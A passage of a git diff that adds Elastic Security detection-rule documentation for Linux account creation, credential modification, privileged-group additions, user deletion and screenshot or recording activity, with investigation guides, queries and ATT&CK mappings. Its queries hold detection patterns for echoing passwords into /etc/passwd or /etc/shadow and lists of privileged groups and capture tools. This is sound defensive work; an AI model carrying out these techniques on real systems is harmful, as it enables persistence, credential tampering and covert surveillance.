+*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux User Account Creation* + + +The `useradd` and `adduser` commands are used to create new user accounts in Linux-based operating systems. + +Attackers may create new accounts (both local and domain) to maintain access to victim systems. + +This rule identifies the usage of `useradd` and `adduser` to create new accounts. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the user was created succesfully. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Identify if the account was added to privileged groups or assigned special privileges after creation. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Account creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type == "user" and event.type == "creation" and event.outcome == "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-credential-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-credential-modification.asciidoc new file mode 100644 index 0000000000..3b2fa3d9ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-credential-modification.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-linux-user-account-credential-modification]] +=== Linux User Account Credential Modification + +This rule detects Linux user account credential modification events where the echo command is used to directly echo a password into the passwd or shadow utilities. This technique is used by malware to automate the process of user account credential modification on Linux systems post-infection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux User Account Credential Modification* + + +In Linux environments, user account credentials are crucial for system access and management. Adversaries may exploit command-line utilities to modify credentials, often using scripts to automate this process post-infection. The detection rule identifies suspicious use of shell commands that echo passwords into the passwd utility, a technique indicative of unauthorized credential changes, by monitoring specific command patterns and excluding benign processes. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of the suspicious pattern "*echo*passwd*" and assess if it aligns with known malicious activity. +- Identify the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Examine the parent process details, including the command line and executable path, to understand the context of how the suspicious process was initiated. +- Check for any recent changes to user accounts on the system, focusing on password modifications or new account creations around the time of the alert. +- Investigate the system for any additional signs of compromise, such as unexpected network connections or other suspicious processes running concurrently. +- Correlate the event with other security alerts or logs to identify if this activity is part of a broader attack pattern or campaign. + + +*False positive analysis* + + +- Automated build processes may trigger this rule if they use shell scripts that include echoing passwords for testing or configuration purposes. To handle this, exclude processes with parent command lines or executables related to build tools like make. +- System administration scripts that automate user account management might use similar command patterns. Review these scripts and exclude them by specifying their parent process or executable paths. +- Custom user scripts for password management could inadvertently match the rule's criteria. Identify these scripts and add exceptions based on their unique command line or parent process attributes. +- Some legitimate software installations might use echo and passwd in their setup scripts. Monitor installation logs and exclude known safe installation processes by their parent command line or executable. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the echo command being used with the passwd utility. +- Change the passwords of any user accounts that may have been compromised, ensuring the use of strong, unique passwords. +- Review and audit recent user account changes and access logs to identify any unauthorized modifications or access attempts. +- Restore any affected user accounts to their previous state using backups or system snapshots, if available. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar command patterns to enhance detection and prevent recurrence of this threat. + + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.command_line like ( + "*echo*> /etc/passwd*", "*echo*>/etc/passwd*", + "*echo*> /etc/shadow*", "*echo*>/etc/shadow*" +) and +not ( + process.parent.command_line == "runc init" or + process.parent.executable in ("/usr/bin/make", "/bin/make") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-added-to-privileged-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-added-to-privileged-group.asciidoc new file mode 100644 index 0000000000..d5cdae3b75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-added-to-privileged-group.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-34-linux-user-added-to-privileged-group]] +=== Linux User Added to Privileged Group + +Identifies attempts to add a user to a privileged group. Attackers may add users to a privileged group in order to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux User Added to Privileged Group* + + +The `usermod`, `adduser`, and `gpasswd` commands can be used to assign user accounts to new groups in Linux-based operating systems. + +Attackers may add users to a privileged group in order to escalate privileges or establish persistence on a system or domain. + +This rule identifies the usages of `usermod`, `adduser` and `gpasswd` to assign user accounts to a privileged group. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the user was successfully added to the privileged group. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Retrieve information about the privileged group to which the user was added. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Adding accounts to a group is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the account that seems to be involved in malicious activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.executable != null and process.args in ( + "root", "admin", "wheel", "staff", "sudo","disk", "video", "shadow", "lxc", "lxd" +) and +( + process.name in ("usermod", "adduser") or + (process.name == "gpasswd" and process.args in ("-a", "--add", "-M", "--members")) +) and +not ( + ?process.parent.executable like ( + "/usr/lib/google/guest_agent/core_plugin", "/usr/libexec/platform-python*", "/usr/lib/google/guest_agent/GuestAgentCorePlugin/core_plugin", + "/usr/bin/google_guest_agent" + ) or + ( + ?process.entry_leader.executable == "/usr/lib/venv-salt-minion/bin/python.original" and + ?process.entry_leader.args == "/usr/lib/venv-salt-minion/bin/salt-minion" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-or-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-or-group-deletion.asciidoc new file mode 100644 index 0000000000..21f18720bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-or-group-deletion.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-linux-user-or-group-deletion]] +=== Linux User or Group Deletion + +This rule detects the deletion of user or group accounts on Linux systems. Adversaries may use these commands to remove accounts to cover their tracks or disrupt operations. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux User or Group Deletion* + + +This rule surfaces successful deletions of Linux users or groups—activity that can erase evidence, hide persistence, or disrupt access control. A common pattern is an attacker with root rights running userdel -r to remove a temporary privileged account they used for access, deleting its home directory and mail spool to strip artifacts. Correlate with recent privilege escalation and changes to sudoers/wheel to identify whether this was malicious cleanup versus routine deprovisioning. + + +*Possible investigation steps* + + +- Correlate with auth and sudo logs to identify the actor, session (TTY/SSH), and source IP that executed the deletion and confirm whether root was obtained via sudo or another escalation path. +- Inspect the process tree and command line to see if userdel/groupdel used -r to remove the home/mail spool and whether it was launched from an interactive shell, SSH session, or automation tooling. +- Validate expected deprovisioning by checking HR/ticketing/IdM and configuration-management activity around the time, and escalate if the deleted identity was privileged or part of sudo/wheel. +- Build a timeline around the event to find adjacent actions such as account creation, password or key changes, group membership edits, and modifications to /etc/passwd, /etc/group, /etc/shadow, or sudoers. +- Assess impact and persistence by locating services, cron/systemd units, files, ACLs, or running processes still referencing the deleted UID/GID, attempt recovery of the home/mail from backups, and look for wtmp/btmp/lastlog tampering. + + +*False positive analysis* + + +- Scheduled deprovisioning or baseline enforcement where administrators intentionally remove stale local users or groups associated with retired projects, decommissioned systems, or role changes during maintenance. +- Package uninstall or system maintenance scripts that add a service account during setup and later remove it during cleanup, causing legitimate user/group deletion events. + + +*Response and remediation* + + +- If the deletion is unauthorized, immediately isolate the host and restrict interactive access by setting PermitRootLogin no and tightening AllowUsers/AllowGroups in /etc/ssh/sshd_config, then systemctl restart sshd to apply. +- Review and clean authorization and persistence by inspecting /etc/sudoers and /etc/sudoers.d for unauthorized rules, checking wheel/sudo memberships in /etc/group, and purging cron or systemd units that reference the deleted UID/GID. +- Recover the identity if legitimate by recreating the user/group with the original UID/GID from /var/backups/{passwd,group,shadow}, restoring the corresponding /home directory and /var/spool/mail from backups, and reassigning orphaned files using find -nouser -nogroup to a valid account. +- Rotate credentials associated with the deleted identity by replacing SSH keys and secrets found in ~/.ssh/authorized_keys and application configs, and invalidate cached tokens and service account credentials that may have been shared. +- Escalate to incident response if the deleted account was privileged (present in wheel/sudo groups), userdel/groupdel used -r to remove the home/mail spool, or evidence of log tampering exists such as truncated /var/log/auth.log or altered wtmp/btmp/lastlog. +- Harden by centralizing local account lifecycle in IdM/LDAP, enforcing visudo-managed sudo changes, enabling auditd watches on /usr/sbin/userdel,/usr/sbin/groupdel and writes to /etc/passwd,/etc/group,/etc/shadow, and deploying AIDE to monitor integrity of /etc. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type in ("group", "user") and event.type == "deletion" and event.outcome == "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-video-recording-or-screenshot-activity-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-video-recording-or-screenshot-activity-detected.asciidoc new file mode 100644 index 0000000000..aea7c7f57b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-video-recording-or-screenshot-activity-detected.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-linux-video-recording-or-screenshot-activity-detected]] +=== Linux Video Recording or Screenshot Activity Detected + +This rule monitors for the usage of the most common video recording or screenshot utilities on unix systems by an uncommon process parent. Adversaries may collect video or screenshot data from users or systems for a variety of reasons including espionage, credential theft, or reconnaissance. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Video Recording or Screenshot Activity Detected* + + +This alert flags the launch of common Linux screenshot or screen-recording tools—such as scrot, gnome-screenshot, flameshot, grim, or obs—when triggered by an atypical parent process, indicating potential visual data collection. A typical attacker pattern is a compromised user session or remote shell spawning scrot or grim during credential entry to capture MFA codes and application windows, or starting simplescreenrecorder/obs to persistently record the desktop for later exfiltration. + + +*Possible investigation steps* + + +- Review the process lineage and session context to determine if the capture was launched interactively from a desktop or via ssh/cron/systemd or a script in transient directories. +- Inspect command-line options and environment variables (DISPLAY, WAYLAND_DISPLAY, XAUTHORITY) to identify window/region capture, explicit save targets, or headless clipboard-only usage. +- Search for newly created media files around the alert time (screenshots under ~/Pictures or /tmp, and recordings like .mkv/.webm) and evaluate their sensitivity and relevance. +- Verify binary provenance and integrity by checking installation logs, file path and ownership, hashes, and unexpected copies or modified ELF binaries in user-writable locations. +- Correlate with user and network telemetry for concurrent credential entry, browser MFA prompts, or outbound transfers/clipboard synchronization indicative of exfiltration. + + +*False positive analysis* + + +- A user presses Print Screen or uses a desktop hotkey, and the environment launches gnome-screenshot, flameshot, or grim via a keybinding/compositor component, producing an uncommon parent despite benign activity. +- Legitimate demo or documentation recording with obs or simplescreenrecorder started by a wrapper script, cron, or a systemd unit can surface as a non-interactive start from an unusual parent without malicious intent. + + +*Response and remediation* + + +- Immediately terminate the capture process (e.g., scrot, grim, flameshot, gnome-screenshot, simplescreenrecorder, obs) and isolate the host or terminate the GUI session, suspending the user and revoking SSH keys if the parent was sshd, cron, or a systemd unit. +- Eradicate launch points by deleting rogue systemd services/timers, crontab entries, ~/.config/autostart/*.desktop files, and scripts in /tmp or ~/bin that invoke these tools, and replace any trojanized binaries found outside package-managed paths. +- Recover by rotating passwords and invalidating MFA sessions/tokens used during the recorded period, then remove captured media (.png/.jpg/.webm/.mkv) from ~/Pictures, /tmp, and similar staging paths after evidence collection. +- Escalate to incident response and privacy/legal if screenshots/recordings contain credentials, customer data, or secrets, if execution originated from privileged users or servers, or if exfiltration is observed via scp/rsync/curl to external hosts. +- Harden endpoints by uninstalling unneeded screenshot/recording packages, enforcing allowlists and AppArmor/SELinux profiles that block scrot/grim/obs except for approved users, and requiring xdg-desktop-portal/PipeWire screencast prompts for console users only. +- Improve detection by alerting on these binaries executed by sshd/cron/systemd, repeated saves under ~/Pictures or /tmp, copies in user-writable paths (~/bin, /tmp), and outbound transfers of resulting media files. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:"linux" and event.type:"start" and event.action:("exec" or "exec_event" or "start") and +process.name:( + "gnome-screenshot" or "spectacle" or "xfce4-screenshooter" or "mate-screenshot" or "scrot" or "maim" or "import" or "grim" or + "grimshot" or "slurp" or "flameshot" or "shutter" or "ksnip" or "deepin-screenshot" or "simplescreenrecorder" or "kazam" or + "vokoscreen" or "recordmydesktop" or "obs" or "obs-studio" +) and +not process.args:("-h" or "--help" or "--version") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ +* Technique: +** Name: Video Capture +** ID: T1125 +** Reference URL: https://attack.mitre.org/techniques/T1125/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-loadable-kernel-module-configuration-file-creation.asciidoc 